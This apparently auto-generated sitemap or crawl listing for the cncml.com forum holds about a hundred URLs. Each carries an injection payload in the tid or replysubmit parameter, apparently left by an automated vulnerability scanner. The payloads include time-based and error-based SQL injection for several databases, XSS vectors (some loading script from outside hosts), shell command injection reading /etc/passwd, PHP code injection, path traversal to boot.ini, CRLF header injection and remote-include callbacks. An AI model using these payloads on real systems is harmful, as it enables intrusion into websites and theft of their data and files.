http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%2527 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%2527%20AND%2058=58%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%2527%20AND%2091=72%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%5B%5D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%5C%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%5C' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186%bf%27 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186' 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%20'CO'='CO 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%20'ce'='La 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20OR%20'Tm'='Tm'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%20'186'%20ELSE%200x28%20END))%20AND%20'yF'='yF 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=72)%20THEN%20'186'%20ELSE%200x28%20END))%20AND%20'qz'='qz 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%2041=41%20AND%20('aT'='aT 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%2068=56%20AND%20('tx'='tx 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%20'186'%20ELSE%200x28%20END))%20AND%20('Pj'='Pj 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(78=26)%20THEN%20'186'%20ELSE%200x28%20END))%20AND%20('2X'='2X 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186';%20IF(23=23)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186';%20IF(77=84)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%2013=13%20AND%20(13=13 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%2065=92%20AND%20(65=65 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20OR%2099=99%20OR%20(99=99)%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=55)%20THEN%20186%20ELSE%200x28%20END))%20AND%20(64=64 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=64)%20THEN%20186%20ELSE%200x28%20END))%20AND%20(41=41 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186);%20IF(27=27)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186);%20IF(51=11)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186,(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%20186%20ELSE%2018*(SELECT%2018%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186,(SELECT%20(CASE%20WHEN%20(36=36)%20THEN%20186%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186,(SELECT%20(CASE%20WHEN%20(68=81)%20THEN%20186%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186,(SELECT%20(CASE%20WHEN%20(69=49)%20THEN%20186%20ELSE%2069*(SELECT%2069%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186,IIF(17=35,186,1/0) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186,IIF(91=91,186,1/0) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=1866633x3X6 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186JyI%3D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186alert(42873) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=186e360 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=IIF(34=34,186,1/0) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=IIF(67=64,186,1/0) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=dir 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=phpinfo 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&replysubmit=yes&infloat=yes&handlekey=fastpost&tid=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=(SELECT%20(CASE%20WHEN%20(58=78)%20THEN%200x796573%20ELSE%2058*(SELECT%2058%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=post&action=reply&tid=186&infloat=yes&handlekey=fastpost&replysubmit=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 